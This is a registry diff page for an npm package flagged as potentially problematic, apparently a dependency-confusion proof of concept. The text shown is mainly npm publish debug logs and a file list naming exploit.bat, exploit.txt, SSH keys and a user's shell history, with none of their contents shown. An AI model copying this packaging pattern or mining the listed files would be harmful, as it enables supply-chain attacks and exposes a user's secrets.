myconfusedfunctionpoctestpackage 0.0.1-security → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of myconfusedfunctionpoctestpackage might be problematic. Click here for more details.

Files changed (43) hide show
  1. package/.bash_history +363 -0
  2. package/.bash_logout +7 -0
  3. package/.bashrc +117 -0
  4. package/.cache/motd.legal-displayed +0 -0
  5. package/.lesshst +1 -0
  6. package/.npm/_cacache/_lastverified +1 -0
  7. package/.npm/_cacache/content-v2/sha512/2b/8d/f5e0be167473e14564798f422c3a07aca9a7cc41123816901c6b7150a284596ac8b46a84458e2a3f4feeaf5ffb433e2305dc4639ce88a5414a6559b12e4c +0 -0
  8. package/.npm/_cacache/content-v2/sha512/3d/2e/8f404043bf46e458a2dedf19a4ec74d8c379005727ea5eaf44a88e430d0bccdfcb2c6e00c5069d6a1c3eb28fe804672f788196e273ac5c612783f940115a +0 -0
  9. package/.npm/_cacache/content-v2/sha512/4d/35/4b7507526f1be5d61c6a08bd64eac7bd940ab53f1bef53f68169fed40e2c0162963edccee6ce24bc742bbc81c2b64de00c8fc61289284aea49ea53b2318e +0 -0
  10. package/.npm/_cacache/content-v2/sha512/73/24/ab22de871b58c47a962ece82193f224b6c57154bb808c59d9a2777c83807630329ce5d921fec115c0e26c5700f50b2b0b93b1ef7ec3cf86e99e921dc59a6 +0 -0
  11. package/.npm/_cacache/content-v2/sha512/74/96/98bc622eb555e919675c2646628d2154adaa2678bcb5e31eb5a3cc1e2599f9c987440cfcf6bbeacd071b9c05091c4fd92b92680df20baf4c1d9d14a61979 +0 -0
  12. package/.npm/_cacache/content-v2/sha512/76/24/0207b71e6fed0a8a0d7a6a0c28b3f5ad32122a5227fe9edbb7f0f9fd6dfdefc9529dfc8cc25004f41ac24cc7d36a8412e5216dd0ef1189e3ef13b4ba32e1 +1 -0
  13. package/.npm/_cacache/content-v2/sha512/8b/7c/d086052fa89b371cff7fbdd2db6a7ff6cc2294ad6fc560c1e9bcd5797b1626f85785b31cbca5a7bb00db53e75d974d09eee786a6be65f25c9a720889165d +0 -0
  14. package/.npm/_cacache/content-v2/sha512/8d/a1/fc39c0ada87d88459d33d72b6189fcef1be8ac5d4f41cca8eaac29543ed4dd12f36ea2dd7d6c462938b62e776195d3d574f3ac8e45a6a0a9e51b449bd98a +0 -0
  15. package/.npm/_cacache/content-v2/sha512/b9/17/7978861a36cfa98123dddd9662d73d3660caae535f6c33648f9d5b6c33375706cbfcd6be353a3a6580133122c3eecadd0769ccec8155bbda141890dff3b9 +0 -0
  16. package/.npm/_cacache/content-v2/sha512/bc/16/4336822f515eab7926ef7c0a2635fe0609ea084b936ca9b0bbd3cd34389c23dc70a35e295f6c26571336691f462882d567b26061717b8d5fa0361884e4c6 +0 -0
  17. package/.npm/_cacache/content-v2/sha512/cb/ee/a33fc813c6e16025cf6f1f8602668e53f85fd9120f022fb61e34b92f5ddc51badb5366281bbd752c6ab12068df9efaaabdd61f444b1cedf6300428aa4237 +0 -0
  18. package/.npm/_cacache/content-v2/sha512/d4/f7/fd873ae3f46ecbf343cd0fc6b8c0563eddb31a624aeab26b59e00d60a76ee619c5c84d6fe74246f724e2332fba5bfadadb4fedd51fb9bf7305b4bcd4c05e +0 -0
  19. package/.npm/_cacache/content-v2/sha512/f2/78/030caf031bef365d63827597e81386fea5bafb3cbaa83beafd146af1cb365203f44f1b65a365b8b9d9f23766cc34547b686813fe7a34dc81b70adb55e70e +0 -0
  20. package/.npm/_cacache/index-v5/9a/5d/18b734f038b4b4e0f36a1c1d9c852b951409916ab3205e88ac3cab28e02b +2 -0
  21. package/.npm/_cacache/index-v5/ae/c1/794477315825298db9ca27dfd950e963043ec553246545524bbab48a0c70 +13 -0
  22. package/.npm/_logs/2025-02-20T17_24_53_241Z-debug-0.log +55 -0
  23. package/.npm/_logs/2025-02-20T17_31_53_704Z-debug-0.log +106 -0
  24. package/.npm/_logs/2025-02-20T17_32_25_292Z-debug-0.log +38 -0
  25. package/.npm/_logs/2025-02-20T17_32_58_080Z-debug-0.log +89 -0
  26. package/.npm/_logs/2025-02-20T18_28_42_136Z-debug-0.log +90 -0
  27. package/.npm/_logs/2025-02-20T19_17_02_081Z-debug-0.log +91 -0
  28. package/.npm/_logs/2025-02-20T20_52_34_261Z-debug-0.log +92 -0
  29. package/.npm/_logs/2025-02-20T20_58_34_147Z-debug-0.log +93 -0
  30. package/.npm/_logs/2025-02-24T18_33_08_819Z-debug-0.log +94 -0
  31. package/.npm/_logs/2025-02-24T18_43_29_748Z-debug-0.log +115 -0
  32. package/.npm/_logs/2025-02-24T18_44_14_248Z-debug-0.log +35 -0
  33. package/.npm/_update-notifier-last-checked +0 -0
  34. package/.profile +27 -0
  35. package/.ssh/authorized_keys +1 -0
  36. package/.ssh/known_hosts +1 -0
  37. package/.sudo_as_admin_successful +0 -0
  38. package/base.ldif +13 -0
  39. package/exploit.bat +1 -0
  40. package/exploit.txt +26 -0
  41. package/package.json +10 -4
  42. package/package.json.save +12 -0
  43. package/README.md +0 -5
@@ -0,0 +1,93 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@9.2.0
3
+ 2 info using node@v18.19.1
4
+ 3 timing npm:load:whichnode Completed in 0ms
5
+ 4 timing config:load:defaults Completed in 4ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 3ms
7
+ 6 timing config:load:builtin Completed in 3ms
8
+ 7 timing config:load:cli Completed in 4ms
9
+ 8 timing config:load:env Completed in 1ms
10
+ 9 timing config:load:project Completed in 1ms
11
+ 10 timing config:load:file:/home/bigibson/.npmrc Completed in 1ms
12
+ 11 timing config:load:user Completed in 1ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 1ms
14
+ 13 timing config:load:global Completed in 1ms
15
+ 14 timing config:load:setEnvs Completed in 1ms
16
+ 15 timing config:load Completed in 16ms
17
+ 16 timing npm:load:configload Completed in 16ms
18
+ 17 timing npm:load:mkdirpcache Completed in 1ms
19
+ 18 timing npm:load:mkdirplogs Completed in 0ms
20
+ 19 verbose title npm publish
21
+ 20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
22
+ 21 timing npm:load:setTitle Completed in 3ms
23
+ 22 timing config:load:flatten Completed in 6ms
24
+ 23 timing npm:load:display Completed in 14ms
25
+ 24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-20T20_58_34_147Z-
26
+ 25 verbose logfile /home/bigibson/.npm/_logs/2025-02-20T20_58_34_147Z-debug-0.log
27
+ 26 timing npm:load:logFile Completed in 13ms
28
+ 27 timing npm:load:timers Completed in 1ms
29
+ 28 timing npm:load:configScope Completed in 0ms
30
+ 29 timing npm:load Completed in 50ms
31
+ 30 verbose publish [ '.' ]
32
+ 31 timing config:load:flatten Completed in 0ms
33
+ 32 silly logfile start cleaning logs, removing 1 files
34
+ 33 silly logfile done cleaning log files
35
+ 34 timing arborist:ctor Completed in 1ms
36
+ 35 notice
37
+ 36 notice 📦 myconfusedfunctionpoctestpackage@1.0.1
38
+ 37 notice === Tarball Contents ===
39
+ 38 notice 11.0kB .bash_history
40
+ 38 notice 220B .bash_logout
41
+ 38 notice 3.8kB .bashrc
42
+ 38 notice 0B .cache/motd.legal-displayed
43
+ 38 notice 20B .lesshst
44
+ 38 notice 13B .npm/_cacache/_lastverified
45
+ 38 notice 2.5MB .npm/_cacache/content-v2/sha512/2b/8d/f5e0be167473e14564798f422c3a07aca9a7cc41123816901c6b7150a284596ac8b46a84458e2a3f4feeaf5ffb433e2305dc4639ce88a5414a6559b12e4c
46
+ 38 notice 39.0kB .npm/_cacache/content-v2/sha512/3d/2e/8f404043bf46e458a2dedf19a4ec74d8c379005727ea5eaf44a88e430d0bccdfcb2c6e00c5069d6a1c3eb28fe804672f788196e273ac5c612783f940115a
47
+ 38 notice 304.5kB .npm/_cacache/content-v2/sha512/8b/7c/d086052fa89b371cff7fbdd2db6a7ff6cc2294ad6fc560c1e9bcd5797b1626f85785b31cbca5a7bb00db53e75d974d09eee786a6be65f25c9a720889165d
48
+ 38 notice 1.3MB .npm/_cacache/content-v2/sha512/8d/a1/fc39c0ada87d88459d33d72b6189fcef1be8ac5d4f41cca8eaac29543ed4dd12f36ea2dd7d6c462938b62e776195d3d574f3ac8e45a6a0a9e51b449bd98a
49
+ 38 notice 159.6kB .npm/_cacache/content-v2/sha512/73/24/ab22de871b58c47a962ece82193f224b6c57154bb808c59d9a2777c83807630329ce5d921fec115c0e26c5700f50b2b0b93b1ef7ec3cf86e99e921dc59a6
50
+ 38 notice 8.4kB .npm/_cacache/content-v2/sha512/74/96/98bc622eb555e919675c2646628d2154adaa2678bcb5e31eb5a3cc1e2599f9c987440cfcf6bbeacd071b9c05091c4fd92b92680df20baf4c1d9d14a61979
51
+ 38 notice 27B .npm/_cacache/content-v2/sha512/76/24/0207b71e6fed0a8a0d7a6a0c28b3f5ad32122a5227fe9edbb7f0f9fd6dfdefc9529dfc8cc25004f41ac24cc7d36a8412e5216dd0ef1189e3ef13b4ba32e1
52
+ 38 notice 626.7kB .npm/_cacache/content-v2/sha512/bc/16/4336822f515eab7926ef7c0a2635fe0609ea084b936ca9b0bbd3cd34389c23dc70a35e295f6c26571336691f462882d567b26061717b8d5fa0361884e4c6
53
+ 38 notice 79.1kB .npm/_cacache/content-v2/sha512/cb/ee/a33fc813c6e16025cf6f1f8602668e53f85fd9120f022fb61e34b92f5ddc51badb5366281bbd752c6ab12068df9efaaabdd61f444b1cedf6300428aa4237
54
+ 38 notice 18.8kB .npm/_cacache/content-v2/sha512/d4/f7/fd873ae3f46ecbf343cd0fc6b8c0563eddb31a624aeab26b59e00d60a76ee619c5c84d6fe74246f724e2332fba5bfadadb4fedd51fb9bf7305b4bcd4c05e
55
+ 38 notice 495B .npm/_cacache/index-v5/9a/5d/18b734f038b4b4e0f36a1c1d9c852b951409916ab3205e88ac3cab28e02b
56
+ 38 notice 2.1kB .npm/_cacache/index-v5/ae/c1/794477315825298db9ca27dfd950e963043ec553246545524bbab48a0c70
57
+ 38 notice 8.7kB .npm/_logs/2025-02-18T21_50_24_882Z-debug-0.log
58
+ 38 notice 3.0kB .npm/_logs/2025-02-19T18_25_06_875Z-debug-0.log
59
+ 38 notice 9.7kB .npm/_logs/2025-02-19T18_26_25_285Z-debug-0.log
60
+ 38 notice 2.9kB .npm/_logs/2025-02-20T17_24_53_241Z-debug-0.log
61
+ 38 notice 10.1kB .npm/_logs/2025-02-20T17_31_53_704Z-debug-0.log
62
+ 38 notice 1.7kB .npm/_logs/2025-02-20T17_32_25_292Z-debug-0.log
63
+ 38 notice 9.0kB .npm/_logs/2025-02-20T17_32_58_080Z-debug-0.log
64
+ 38 notice 9.2kB .npm/_logs/2025-02-20T18_28_42_136Z-debug-0.log
65
+ 38 notice 9.4kB .npm/_logs/2025-02-20T19_17_02_081Z-debug-0.log
66
+ 38 notice 9.5kB .npm/_logs/2025-02-20T20_52_34_261Z-debug-0.log
67
+ 38 notice 1.7kB .npm/_logs/2025-02-20T20_58_34_147Z-debug-0.log
68
+ 38 notice 0B .npm/_update-notifier-last-checked
69
+ 38 notice 807B .profile
70
+ 38 notice 100B .ssh/authorized_keys
71
+ 38 notice 142B .ssh/known_hosts
72
+ 38 notice 0B .sudo_as_admin_successful
73
+ 38 notice 327B base.ldif
74
+ 38 notice 377B exploit.bat
75
+ 38 notice 3.8kB exploit.txt
76
+ 38 notice 352B package.json
77
+ 38 notice 289B package.json.save
78
+ 39 notice === Tarball Details ===
79
+ 40 notice name: myconfusedfunctionpoctestpackage
80
+ 40 notice version: 1.0.1
81
+ 40 notice filename: myconfusedfunctionpoctestpackage-1.0.1.tgz
82
+ 40 notice package size: 5.0 MB
83
+ 40 notice unpacked size: 5.1 MB
84
+ 40 notice shasum: 55c0eddd16b52a72191cf00342510f6a8c0df6e1
85
+ 40 notice integrity: sha512-TTVLdQdSbxvl1[...]ShK6knqU7Ixjg==
86
+ 40 notice total files: 39
87
+ 41 notice
88
+ 42 notice Publishing to https://registry.npmjs.org/ with tag latest and default access
89
+ 43 http fetch PUT 200 https://registry.npmjs.org/myconfusedfunctionpoctestpackage 1953ms
90
+ 44 timing command:publish Completed in 2655ms
91
+ 45 verbose exit 0
92
+ 46 timing npm Completed in 2733ms
93
+ 47 info ok
@@ -0,0 +1,94 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@9.2.0
3
+ 2 info using node@v18.19.1
4
+ 3 timing npm:load:whichnode Completed in 0ms
5
+ 4 timing config:load:defaults Completed in 6ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 8ms
7
+ 6 timing config:load:builtin Completed in 8ms
8
+ 7 timing config:load:cli Completed in 3ms
9
+ 8 timing config:load:env Completed in 1ms
10
+ 9 timing config:load:project Completed in 2ms
11
+ 10 timing config:load:file:/home/bigibson/.npmrc Completed in 0ms
12
+ 11 timing config:load:user Completed in 1ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 0ms
14
+ 13 timing config:load:global Completed in 1ms
15
+ 14 timing config:load:setEnvs Completed in 2ms
16
+ 15 timing config:load Completed in 24ms
17
+ 16 timing npm:load:configload Completed in 24ms
18
+ 17 timing npm:load:mkdirpcache Completed in 0ms
19
+ 18 timing npm:load:mkdirplogs Completed in 1ms
20
+ 19 verbose title npm publish
21
+ 20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
22
+ 21 timing npm:load:setTitle Completed in 2ms
23
+ 22 timing config:load:flatten Completed in 6ms
24
+ 23 timing npm:load:display Completed in 13ms
25
+ 24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-24T18_33_08_819Z-
26
+ 25 verbose logfile /home/bigibson/.npm/_logs/2025-02-24T18_33_08_819Z-debug-0.log
27
+ 26 timing npm:load:logFile Completed in 15ms
28
+ 27 timing npm:load:timers Completed in 0ms
29
+ 28 timing npm:load:configScope Completed in 1ms
30
+ 29 timing npm:load Completed in 57ms
31
+ 30 verbose publish [ '.' ]
32
+ 31 timing config:load:flatten Completed in 1ms
33
+ 32 silly logfile start cleaning logs, removing 1 files
34
+ 33 silly logfile done cleaning log files
35
+ 34 timing arborist:ctor Completed in 1ms
36
+ 35 notice
37
+ 36 notice 📦 myconfusedfunctionpoctestpackage@1.0.2
38
+ 37 notice === Tarball Contents ===
39
+ 38 notice 11.4kB .bash_history
40
+ 38 notice 220B .bash_logout
41
+ 38 notice 3.8kB .bashrc
42
+ 38 notice 0B .cache/motd.legal-displayed
43
+ 38 notice 20B .lesshst
44
+ 38 notice 13B .npm/_cacache/_lastverified
45
+ 38 notice 2.5MB .npm/_cacache/content-v2/sha512/2b/8d/f5e0be167473e14564798f422c3a07aca9a7cc41123816901c6b7150a284596ac8b46a84458e2a3f4feeaf5ffb433e2305dc4639ce88a5414a6559b12e4c
46
+ 38 notice 39.0kB .npm/_cacache/content-v2/sha512/3d/2e/8f404043bf46e458a2dedf19a4ec74d8c379005727ea5eaf44a88e430d0bccdfcb2c6e00c5069d6a1c3eb28fe804672f788196e273ac5c612783f940115a
47
+ 38 notice 5.0MB .npm/_cacache/content-v2/sha512/4d/35/4b7507526f1be5d61c6a08bd64eac7bd940ab53f1bef53f68169fed40e2c0162963edccee6ce24bc742bbc81c2b64de00c8fc61289284aea49ea53b2318e
48
+ 38 notice 304.5kB .npm/_cacache/content-v2/sha512/8b/7c/d086052fa89b371cff7fbdd2db6a7ff6cc2294ad6fc560c1e9bcd5797b1626f85785b31cbca5a7bb00db53e75d974d09eee786a6be65f25c9a720889165d
49
+ 38 notice 1.3MB .npm/_cacache/content-v2/sha512/8d/a1/fc39c0ada87d88459d33d72b6189fcef1be8ac5d4f41cca8eaac29543ed4dd12f36ea2dd7d6c462938b62e776195d3d574f3ac8e45a6a0a9e51b449bd98a
50
+ 38 notice 159.6kB .npm/_cacache/content-v2/sha512/73/24/ab22de871b58c47a962ece82193f224b6c57154bb808c59d9a2777c83807630329ce5d921fec115c0e26c5700f50b2b0b93b1ef7ec3cf86e99e921dc59a6
51
+ 38 notice 8.4kB .npm/_cacache/content-v2/sha512/74/96/98bc622eb555e919675c2646628d2154adaa2678bcb5e31eb5a3cc1e2599f9c987440cfcf6bbeacd071b9c05091c4fd92b92680df20baf4c1d9d14a61979
52
+ 38 notice 27B .npm/_cacache/content-v2/sha512/76/24/0207b71e6fed0a8a0d7a6a0c28b3f5ad32122a5227fe9edbb7f0f9fd6dfdefc9529dfc8cc25004f41ac24cc7d36a8412e5216dd0ef1189e3ef13b4ba32e1
53
+ 38 notice 626.7kB .npm/_cacache/content-v2/sha512/bc/16/4336822f515eab7926ef7c0a2635fe0609ea084b936ca9b0bbd3cd34389c23dc70a35e295f6c26571336691f462882d567b26061717b8d5fa0361884e4c6
54
+ 38 notice 79.1kB .npm/_cacache/content-v2/sha512/cb/ee/a33fc813c6e16025cf6f1f8602668e53f85fd9120f022fb61e34b92f5ddc51badb5366281bbd752c6ab12068df9efaaabdd61f444b1cedf6300428aa4237
55
+ 38 notice 18.8kB .npm/_cacache/content-v2/sha512/d4/f7/fd873ae3f46ecbf343cd0fc6b8c0563eddb31a624aeab26b59e00d60a76ee619c5c84d6fe74246f724e2332fba5bfadadb4fedd51fb9bf7305b4bcd4c05e
56
+ 38 notice 495B .npm/_cacache/index-v5/9a/5d/18b734f038b4b4e0f36a1c1d9c852b951409916ab3205e88ac3cab28e02b
57
+ 38 notice 2.3kB .npm/_cacache/index-v5/ae/c1/794477315825298db9ca27dfd950e963043ec553246545524bbab48a0c70
58
+ 38 notice 3.0kB .npm/_logs/2025-02-19T18_25_06_875Z-debug-0.log
59
+ 38 notice 9.7kB .npm/_logs/2025-02-19T18_26_25_285Z-debug-0.log
60
+ 38 notice 2.9kB .npm/_logs/2025-02-20T17_24_53_241Z-debug-0.log
61
+ 38 notice 10.1kB .npm/_logs/2025-02-20T17_31_53_704Z-debug-0.log
62
+ 38 notice 1.7kB .npm/_logs/2025-02-20T17_32_25_292Z-debug-0.log
63
+ 38 notice 9.0kB .npm/_logs/2025-02-20T17_32_58_080Z-debug-0.log
64
+ 38 notice 9.2kB .npm/_logs/2025-02-20T18_28_42_136Z-debug-0.log
65
+ 38 notice 9.4kB .npm/_logs/2025-02-20T19_17_02_081Z-debug-0.log
66
+ 38 notice 9.5kB .npm/_logs/2025-02-20T20_52_34_261Z-debug-0.log
67
+ 38 notice 9.7kB .npm/_logs/2025-02-20T20_58_34_147Z-debug-0.log
68
+ 38 notice 1.7kB .npm/_logs/2025-02-24T18_33_08_819Z-debug-0.log
69
+ 38 notice 0B .npm/_update-notifier-last-checked
70
+ 38 notice 807B .profile
71
+ 38 notice 100B .ssh/authorized_keys
72
+ 38 notice 142B .ssh/known_hosts
73
+ 38 notice 0B .sudo_as_admin_successful
74
+ 38 notice 327B base.ldif
75
+ 38 notice 377B exploit.bat
76
+ 38 notice 3.8kB exploit.txt
77
+ 38 notice 389B package.json
78
+ 38 notice 289B package.json.save
79
+ 39 notice === Tarball Details ===
80
+ 40 notice name: myconfusedfunctionpoctestpackage
81
+ 40 notice version: 1.0.2
82
+ 40 notice filename: myconfusedfunctionpoctestpackage-1.0.2.tgz
83
+ 40 notice package size: 10.0 MB
84
+ 40 notice unpacked size: 10.1 MB
85
+ 40 notice shasum: 87e5c9ff8f30d0bdf47d0776e9bdc86634bcc530
86
+ 40 notice integrity: sha512-uRd5eIYaNs+pg[...]VW72hQYkN/zuQ==
87
+ 40 notice total files: 40
88
+ 41 notice
89
+ 42 notice Publishing to https://registry.npmjs.org/ with tag latest and default access
90
+ 43 http fetch PUT 200 https://registry.npmjs.org/myconfusedfunctionpoctestpackage 2332ms
91
+ 44 timing command:publish Completed in 3397ms
92
+ 45 verbose exit 0
93
+ 46 timing npm Completed in 3482ms
94
+ 47 info ok
@@ -0,0 +1,115 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@9.2.0
3
+ 2 info using node@v18.19.1
4
+ 3 timing npm:load:whichnode Completed in 0ms
5
+ 4 timing config:load:defaults Completed in 3ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 4ms
7
+ 6 timing config:load:builtin Completed in 4ms
8
+ 7 timing config:load:cli Completed in 4ms
9
+ 8 timing config:load:env Completed in 1ms
10
+ 9 timing config:load:project Completed in 2ms
11
+ 10 timing config:load:file:/home/bigibson/.npmrc Completed in 0ms
12
+ 11 timing config:load:user Completed in 0ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 0ms
14
+ 13 timing config:load:global Completed in 1ms
15
+ 14 timing config:load:setEnvs Completed in 1ms
16
+ 15 timing config:load Completed in 18ms
17
+ 16 timing npm:load:configload Completed in 18ms
18
+ 17 timing npm:load:mkdirpcache Completed in 1ms
19
+ 18 timing npm:load:mkdirplogs Completed in 0ms
20
+ 19 verbose title npm publish
21
+ 20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
22
+ 21 timing npm:load:setTitle Completed in 3ms
23
+ 22 timing config:load:flatten Completed in 7ms
24
+ 23 timing npm:load:display Completed in 12ms
25
+ 24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-24T18_43_29_748Z-
26
+ 25 verbose logfile /home/bigibson/.npm/_logs/2025-02-24T18_43_29_748Z-debug-0.log
27
+ 26 timing npm:load:logFile Completed in 14ms
28
+ 27 timing npm:load:timers Completed in 1ms
29
+ 28 timing npm:load:configScope Completed in 0ms
30
+ 29 timing npm:load Completed in 51ms
31
+ 30 verbose publish [ '.' ]
32
+ 31 timing config:load:flatten Completed in 1ms
33
+ 32 silly logfile start cleaning logs, removing 1 files
34
+ 33 silly logfile done cleaning log files
35
+ 34 timing arborist:ctor Completed in 2ms
36
+ 35 notice
37
+ 36 notice 📦 myconfusedfunctionpoctestpackage@1.0.2
38
+ 37 notice === Tarball Contents ===
39
+ 38 notice 11.4kB .bash_history
40
+ 38 notice 220B .bash_logout
41
+ 38 notice 3.8kB .bashrc
42
+ 38 notice 0B .cache/motd.legal-displayed
43
+ 38 notice 20B .lesshst
44
+ 38 notice 13B .npm/_cacache/_lastverified
45
+ 38 notice 2.5MB .npm/_cacache/content-v2/sha512/2b/8d/f5e0be167473e14564798f422c3a07aca9a7cc41123816901c6b7150a284596ac8b46a84458e2a3f4feeaf5ffb433e2305dc4639ce88a5414a6559b12e4c
46
+ 38 notice 39.0kB .npm/_cacache/content-v2/sha512/3d/2e/8f404043bf46e458a2dedf19a4ec74d8c379005727ea5eaf44a88e430d0bccdfcb2c6e00c5069d6a1c3eb28fe804672f788196e273ac5c612783f940115a
47
+ 38 notice 5.0MB .npm/_cacache/content-v2/sha512/4d/35/4b7507526f1be5d61c6a08bd64eac7bd940ab53f1bef53f68169fed40e2c0162963edccee6ce24bc742bbc81c2b64de00c8fc61289284aea49ea53b2318e
48
+ 38 notice 304.5kB .npm/_cacache/content-v2/sha512/8b/7c/d086052fa89b371cff7fbdd2db6a7ff6cc2294ad6fc560c1e9bcd5797b1626f85785b31cbca5a7bb00db53e75d974d09eee786a6be65f25c9a720889165d
49
+ 38 notice 1.3MB .npm/_cacache/content-v2/sha512/8d/a1/fc39c0ada87d88459d33d72b6189fcef1be8ac5d4f41cca8eaac29543ed4dd12f36ea2dd7d6c462938b62e776195d3d574f3ac8e45a6a0a9e51b449bd98a
50
+ 38 notice 159.6kB .npm/_cacache/content-v2/sha512/73/24/ab22de871b58c47a962ece82193f224b6c57154bb808c59d9a2777c83807630329ce5d921fec115c0e26c5700f50b2b0b93b1ef7ec3cf86e99e921dc59a6
51
+ 38 notice 8.4kB .npm/_cacache/content-v2/sha512/74/96/98bc622eb555e919675c2646628d2154adaa2678bcb5e31eb5a3cc1e2599f9c987440cfcf6bbeacd071b9c05091c4fd92b92680df20baf4c1d9d14a61979
52
+ 38 notice 27B .npm/_cacache/content-v2/sha512/76/24/0207b71e6fed0a8a0d7a6a0c28b3f5ad32122a5227fe9edbb7f0f9fd6dfdefc9529dfc8cc25004f41ac24cc7d36a8412e5216dd0ef1189e3ef13b4ba32e1
53
+ 38 notice 10.0MB .npm/_cacache/content-v2/sha512/b9/17/7978861a36cfa98123dddd9662d73d3660caae535f6c33648f9d5b6c33375706cbfcd6be353a3a6580133122c3eecadd0769ccec8155bbda141890dff3b9
54
+ 38 notice 626.7kB .npm/_cacache/content-v2/sha512/bc/16/4336822f515eab7926ef7c0a2635fe0609ea084b936ca9b0bbd3cd34389c23dc70a35e295f6c26571336691f462882d567b26061717b8d5fa0361884e4c6
55
+ 38 notice 79.1kB .npm/_cacache/content-v2/sha512/cb/ee/a33fc813c6e16025cf6f1f8602668e53f85fd9120f022fb61e34b92f5ddc51badb5366281bbd752c6ab12068df9efaaabdd61f444b1cedf6300428aa4237
56
+ 38 notice 18.8kB .npm/_cacache/content-v2/sha512/d4/f7/fd873ae3f46ecbf343cd0fc6b8c0563eddb31a624aeab26b59e00d60a76ee619c5c84d6fe74246f724e2332fba5bfadadb4fedd51fb9bf7305b4bcd4c05e
57
+ 38 notice 495B .npm/_cacache/index-v5/9a/5d/18b734f038b4b4e0f36a1c1d9c852b951409916ab3205e88ac3cab28e02b
58
+ 38 notice 2.5kB .npm/_cacache/index-v5/ae/c1/794477315825298db9ca27dfd950e963043ec553246545524bbab48a0c70
59
+ 38 notice 9.7kB .npm/_logs/2025-02-19T18_26_25_285Z-debug-0.log
60
+ 38 notice 2.9kB .npm/_logs/2025-02-20T17_24_53_241Z-debug-0.log
61
+ 38 notice 10.1kB .npm/_logs/2025-02-20T17_31_53_704Z-debug-0.log
62
+ 38 notice 1.7kB .npm/_logs/2025-02-20T17_32_25_292Z-debug-0.log
63
+ 38 notice 9.0kB .npm/_logs/2025-02-20T17_32_58_080Z-debug-0.log
64
+ 38 notice 9.2kB .npm/_logs/2025-02-20T18_28_42_136Z-debug-0.log
65
+ 38 notice 9.4kB .npm/_logs/2025-02-20T19_17_02_081Z-debug-0.log
66
+ 38 notice 9.5kB .npm/_logs/2025-02-20T20_52_34_261Z-debug-0.log
67
+ 38 notice 9.7kB .npm/_logs/2025-02-20T20_58_34_147Z-debug-0.log
68
+ 38 notice 9.9kB .npm/_logs/2025-02-24T18_33_08_819Z-debug-0.log
69
+ 38 notice 1.7kB .npm/_logs/2025-02-24T18_43_29_748Z-debug-0.log
70
+ 38 notice 0B .npm/_update-notifier-last-checked
71
+ 38 notice 807B .profile
72
+ 38 notice 100B .ssh/authorized_keys
73
+ 38 notice 142B .ssh/known_hosts
74
+ 38 notice 0B .sudo_as_admin_successful
75
+ 38 notice 327B base.ldif
76
+ 38 notice 377B exploit.bat
77
+ 38 notice 3.8kB exploit.txt
78
+ 38 notice 389B package.json
79
+ 38 notice 289B package.json.save
80
+ 39 notice === Tarball Details ===
81
+ 40 notice name: myconfusedfunctionpoctestpackage
82
+ 40 notice version: 1.0.2
83
+ 40 notice filename: myconfusedfunctionpoctestpackage-1.0.2.tgz
84
+ 40 notice package size: 20.1 MB
85
+ 40 notice unpacked size: 20.2 MB
86
+ 40 notice shasum: 1da3b0845a68246999fc7b7d05d570ec91bc9fcb
87
+ 40 notice integrity: sha512-8ngDDK8DG+82X[...]jTcgbcK21XnDg==
88
+ 40 notice total files: 41
89
+ 41 notice
90
+ 42 notice Publishing to https://registry.npmjs.org/ with tag latest and default access
91
+ 43 http fetch PUT 403 https://registry.npmjs.org/myconfusedfunctionpoctestpackage 2084ms
92
+ 44 timing command:publish Completed in 3795ms
93
+ 45 verbose stack HttpErrorGeneral: 403 Forbidden - PUT https://registry.npmjs.org/myconfusedfunctionpoctestpackage - You cannot publish over the previously published versions: 1.0.2.
94
+ 45 verbose stack at /usr/share/nodejs/npm/node_modules/npm-registry-fetch/lib/check-response.js:95:15
95
+ 45 verbose stack at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
96
+ 45 verbose stack at async publish (/usr/share/nodejs/libnpmpublish/lib/publish.js:42:12)
97
+ 45 verbose stack at async otplease (/usr/share/nodejs/npm/lib/utils/otplease.js:4:12)
98
+ 45 verbose stack at async Publish.exec (/usr/share/nodejs/npm/lib/commands/publish.js:126:7)
99
+ 45 verbose stack at async module.exports (/usr/share/nodejs/npm/lib/cli.js:133:5)
100
+ 46 verbose statusCode 403
101
+ 47 verbose pkgid myconfusedfunctionpoctestpackage@1.0.2
102
+ 48 verbose cwd /home/bigibson
103
+ 49 verbose Linux 6.8.0-1021-azure
104
+ 50 verbose node v18.19.1
105
+ 51 verbose npm v9.2.0
106
+ 52 error code E403
107
+ 53 error 403 403 Forbidden - PUT https://registry.npmjs.org/myconfusedfunctionpoctestpackage - You cannot publish over the previously published versions: 1.0.2.
108
+ 54 error 403 In most cases, you or one of your dependencies are requesting
109
+ 54 error 403 a package version that is forbidden by your security policy, or
110
+ 54 error 403 on a server you do not have access to.
111
+ 55 verbose exit 1
112
+ 56 timing npm Completed in 3886ms
113
+ 57 verbose code 1
114
+ 58 error A complete log of this run can be found in:
115
+ 58 error /home/bigibson/.npm/_logs/2025-02-24T18_43_29_748Z-debug-0.log
@@ -0,0 +1,35 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@9.2.0
3
+ 2 info using node@v18.19.1
4
+ 3 timing npm:load:whichnode Completed in 0ms
5
+ 4 timing config:load:defaults Completed in 3ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 3ms
7
+ 6 timing config:load:builtin Completed in 4ms
8
+ 7 timing config:load:cli Completed in 4ms
9
+ 8 timing config:load:env Completed in 1ms
10
